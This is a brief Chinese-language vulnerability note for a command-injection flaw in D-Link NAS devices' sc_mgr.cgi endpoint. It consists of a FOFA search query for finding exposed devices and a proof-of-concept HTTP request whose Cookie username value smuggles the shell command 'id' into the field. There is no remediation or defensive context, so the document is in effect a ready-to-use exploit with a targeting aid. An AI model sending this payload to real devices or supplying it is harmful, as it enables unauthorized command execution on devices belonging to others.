D-Link-NAS接口sc_mgr.cgi存在命令执行漏洞.md

D-Link-NAS接口sc_mgr.cgi存在命令执行漏洞

D-Link-NAS接口sc_mgr.cgi存在命令执行漏洞

fofa

body="/cgi-bin/login_mgr.cgi"  &&  body="cmd=cgi_get_ssl_info"

poc

GET /cgi-bin/sc_mgr.cgi?cmd=SC_Get_Info HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
Cookie: username=mopfdfsewo'& id & echo 'mopfdfsewo;